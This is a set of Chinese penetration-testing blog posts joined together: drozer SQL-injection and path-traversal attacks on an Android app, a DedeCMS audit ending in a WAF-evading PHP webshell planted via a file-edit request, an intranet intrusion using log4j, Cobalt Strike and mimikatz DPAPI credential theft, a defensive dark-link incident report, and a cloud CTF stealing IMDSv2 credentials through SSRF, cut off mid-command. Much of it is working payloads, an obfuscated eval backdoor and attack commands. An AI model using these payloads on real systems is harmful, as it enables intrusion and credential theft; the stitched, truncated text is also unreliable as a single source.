1)漏洞代码 通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。 2)漏洞利用 利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入 run scanner.provider.injection -a com.asec.alan 基于sql注入漏洞的测试和利用,通过order by进行显示位的判断 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4" 并进行username和password数据的查询。 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--" 3、目录遍历漏洞 Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。 1)漏洞代码 代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。 2)漏洞利用 利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri run scanner.provider.traversal -a com.asec.alan 并成功查询/system/etc/hosts文件内容 run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts 本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。 APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk 提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言 书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS 官方网站 https://www.dedecms.com/ 最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路 环境搭建 去官网下载源码,然后配合 phpstudy 搭建就 ok 了 这个比较简单,注意根目录需要放 upload 目录 注意默认的管理员目录是 dede,访问/dede/login.php 默认账户密码adminadmin 代码审计 这里我只找 RCE 漏洞 首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞 sink 点的话可以使用一个工具 Seay 源代码审计系统 https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术 我们直接把源码丢进去就可以了 可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的 然后这里我只关注能够 RCE 的漏洞 找到之后没有什么技巧,就是回头看参数是否可以控制 下面举个例子 案例 1 比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下 <?php /*<meta name="9Rrdzo" content="a">*/ $password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0 $username = get_meta_tags(__FILE__)[$_GET['token']]; header("ddddddd:".$username); $arr = apache_response_headers(); $template_source=''; foreach ($arr as $k => $v) {    if ($k[0] == 'd' && $k[5] == 'd') {        $template_source = str_replace($v,'',$password);   }} $template_source = base64_decode($template_source); $template_source = base64_decode($template_source); $key = 'template_source'; $aes_decode[1]=$key; @eval($aes_decode[1]); $NkM1M7 = ".............."; if( count($_REQUEST) || file_get_contents("php://input") ){ }else{    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);    echo base64_decode/**/($NkM1M7); } 我们可以看到这个参数其实是不能控制的 `aes_decode[1]就是 $key,等价于$template_source $template_source = str_replace($v, '', $password); 来源于$password 而其中 password 是固定的,所以不可以控制 案例 2 function DeleteFile($filename)   {        $filename = $this->baseDir.$this->activeDir."/$filename";        if(is_file($filename))       {            @unlink($filename); $t="文件";       }        else       {            $t = "目录";            if($this->allowDeleteDir==1)           {                $this->RmDirFiles($filename);           } else           {                // 完善用户体验,by:sumic                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);                exit;           }                   }        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);        return 0;   } } 是一个方法,这种需要寻找调用这个方法的地方 else if($fmdo=="del") {    $fmm->DeleteFile($filename); } 这种是一个典型的控制器,根据 fmdo 来选择对应的操作 不过根据所在的文件的注释 /** * 文件管理控制 * * @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $ * @package       DedeCMS.Administrator * @founder       IT柏拉图, https://weibo.com/itprato * @author         DedeCMS团队 * @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.) * @license       http://help.dedecms.com/usersguide/license.html * @link           http://www.dedecms.com */ 这里就能大概猜到了 是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越 不过这里是做了限制的 $filename = preg_replace("#([.]+[/]+)*#", "", $filename); 移除 ../ 形式的路径穿越字符 而且下面还会直接移除.. 所以考虑放弃 案例 3 定位到 sys_sql_query.php 文件了 发现可以执行 sql if(preg_match("#^select #i", $sqlquery))   {        $dsql->SetQuery($sqlquery);        $dsql->Execute();        if($dsql->GetTotalRow()<=0)       {            echo "运行SQL:{$sqlquery},无返回记录!";       }        else       {            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";       }        $j = 0;        while($row = $dsql->GetArray())       {            $j++;            if($j > 100)           {                break;           }            echo "<hr size=1 width='100%'/>";            echo "记录:$j";            echo "<hr size=1 width='100%'/>";            foreach($row as $k=>$v)           {                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";           }       }        exit();   }    if($querytype==2)   {        //普通的SQL语句        $sqlquery = str_replace("\r","",$sqlquery);        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);        $nerrCode = ""; $i=0;        foreach($sqls as $q)       {            $q = trim($q);            if($q=="")           {                continue;           }            $dsql->ExecuteNoneQuery($q);            $errCode = trim($dsql->GetError());            if($errCode=="")           {                $i++;           }            else           {                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";           }       }        echo "成功执行{$i}个SQL语句!<br><br>";        echo $nerrCode;   }    else   {        $dsql->ExecuteNoneQuery($sqlquery);        $nerrCode = trim($dsql->GetError());        echo "成功执行1个SQL语句!<br><br>";        echo $nerrCode;   }    exit(); } 而且 sql 语句是可以控制的 跟进执行的地方发现 function Execute($id="me", $sql='') {      global $dsqli; if(!$dsqli->isInit) { $this->Init($this->pconnect); }      if($dsqli->isClose)     {          $this->Open(FALSE);          $dsqli->isClose = FALSE;     }      if(!empty($sql))     {          $this->SetQuery($sql);     }      //SQL语句安全检查      if($this->safeCheck)     {          CheckSql($this->queryString);     }      $t1 = ExecTime();      //var_dump($this->queryString);      $this->result[$id] = mysqli_query($this->linkID, $this->queryString); //var_dump(mysql_error());      //查询性能测试      if($this->recordLog) { $queryTime = ExecTime() - $t1;          $this->RecordLog($queryTime);          //echo $this->queryString."--{$queryTime}<hr />\r\n";     }      if($this->result[$id]===FALSE)     {          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");     } } 是有一个 checksql 的检查的 //SQL语句过滤程序,由80sec提供,这里作了适当的修改 if (!function_exists('CheckSql')) {    function CheckSql($db_string,$querytype='select')   {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')       {            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";            //$notallow2 = "--|/\*";            if(preg_match("/".$notallow1."/i", $db_string))           {                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");           }       }        //完整的SQL检查        while (TRUE)       {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)           {                break;           }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)           {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)               {                    break;               }                elseif ($pos2 == FALSE || $pos2 > $pos1)               {                    $pos = $pos1;                    break;               }                $pos = $pos2 + 1;           }            $clean .= '$s#39;;            $old_pos = $pos + 1;       }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE        OR strpos($clean,'$s$s#39;)!== FALSE)       {            $fail = TRUE;            if(preg_match("#^create table#i",$clean)) $fail = FALSE;            $error="unusual character";       }        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="union detect";       }        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)       {            $fail = TRUE;            $error="comment detect";       }        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)       {            $fail = TRUE;            $error="sub select detect";       }        if (!empty($fail))       {            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");       }        else       {            return $db_string;       }   } } 案例 4 基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法 我们来到对应的路由去查看 果然找到了 //文件编辑 /*--------------- function __saveEdit(); ----------------*/ else if($fmdo=="edit") {    csrf_check();    $filename = str_replace("..", "", $filename);    $file = "$cfg_basedir$activepath/$filename";    $str = stripslashes($str);    $fp = fopen($file, "w");    fputs($fp, $str);    fclose($fp);    if ($fp === false) {        ShowMsg("保存失败!请检查文件是否可写", -1);        exit();   }    if(empty($backurl))   {        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");   }    else   {        ShowMsg("成功保存文件!",$backurl);   }    exit(); } 一样的方法 文件名是 filename,内容是 str 我们访问对应的路由 发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗 POST /dede/file_manage_control.php HTTP/1.1 Host: dedecms:5135 Content-Length: 130 Cache-Control: max-age=0 Origin: http://dedecms:5135 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath= Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa Connection: keep-alive fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++ 但是发现 所以准备调试分析一手 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) {    $value = str_replace(" ", "", $value);    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } 发现原因是因为有 waf 直接交给一个聪明朋友 移除多行注释 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); 防止攻击者把危险代码写在注释中来绕过检测。 危险函数与变量过滤 $cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...'; 匹配并拦截使用了以下内容的代码: 系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等 全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS 动态函数调用:call_user_func, create_function, 等 一旦匹配:直接终止执行并提示危险代码。 PHP 标签与代码执行行为检测 感觉过滤还是挺严格的 绕过 waf 到 RCE 直接掏出上次的 webshell,稍微修改一下就 ok 了 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 原理上次大概讲过了,就是自动触发 详情可以看到蚁景网络安全这个公众号 https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台 然后我们访问首页 成功弹出计算器
记一次内网横向破解管理员密码
前言 本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。 外网打点 首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测 httpx 测活一下 测完活之后,搞波指纹 指纹到手,这边一般我都是拿高危指纹去漏扫一下 然后找到了一个站点 GETshell 之后找到了一个站点 直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波 发现竟然有 /api/actuator 泄露,这个利用的手法很多 先遍历访问一下常见的接口 但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到 决定溜了的时候发现 bp 我的 dns 平台传来了动静 竟然有 log4j 呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了 CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令 07/23 15:13:23 beacon> shell whoami 07/23 15:13:23 [*] Tasked beacon to run: whoami 07/23 15:13:23 [+] host called home, sent: 37 bytes 07/23 15:13:23 [+] received output: xxxxxx\administrator 内网启动 内网信息收集 首先简单看下内网的网段 找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了 随便 arp-a 看了一下 发现 c 段的主机还是很多的 systeminfo win2012 的用户,不过已经是高权限了,也没有必要提权了 然后我发现在域的时候我就先不管了,先找找凭据 凭据收集 这里没有抓取到密码 然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的 突破 当时因为还拿下了一台主机,而且是同一个内网的 查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制 MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙” 流程 [ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey       ↓ [ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据       ↓ [ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c} Time     : 2025/2/4 0:23:08 MasterKey : aed5fc1156359826c231e1079996c769cf1ee... sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7 Master Key Files 存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。 当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间 我这里去寻找一下 amdin 的凭证 直接拿最新的那个 然后去获取 guid 之后通过这个 guid,我们去寻找 masterkey 首先需要把全部的 masterkey 找出来 mimikatz sekurlsa::dpapi sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件 因为内容很多,直接把结果复制到记事本 然后搜索一下 太好了,找到了,然后我们直接去破解 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 直接获取到了管理员的密码 而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码 远程其他网段的桌面 利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下: 在打开特定页面才会触发; 在特定页面也无法准确复现,尝试好一会才能复现两次; 前场同事使用的是iOS,然后其他人使用Android也可以复现; 我使用浏览器和微信浏览器打开,难以复现; 在对应服务器上未找到其音频文件; 目前使用特定运营商网络可以复现; 0x02分析 在获取目前这些信息后,有几个猜想思路: 在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放; 接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。 但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接: 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求: 果然。在burp里面发现了奇怪的mp4文件链接。 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。 那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。 0x03溯源 由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看: 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。 那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。 最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题: 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接: 访问jsjiami.com,尝试解密: 结果不可逆!!! 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊! 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。 0x04结尾 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景 经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行,没有权限,所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了,可以使用一些工具,比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2 我们首先获取 token,使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token,我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了,我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": 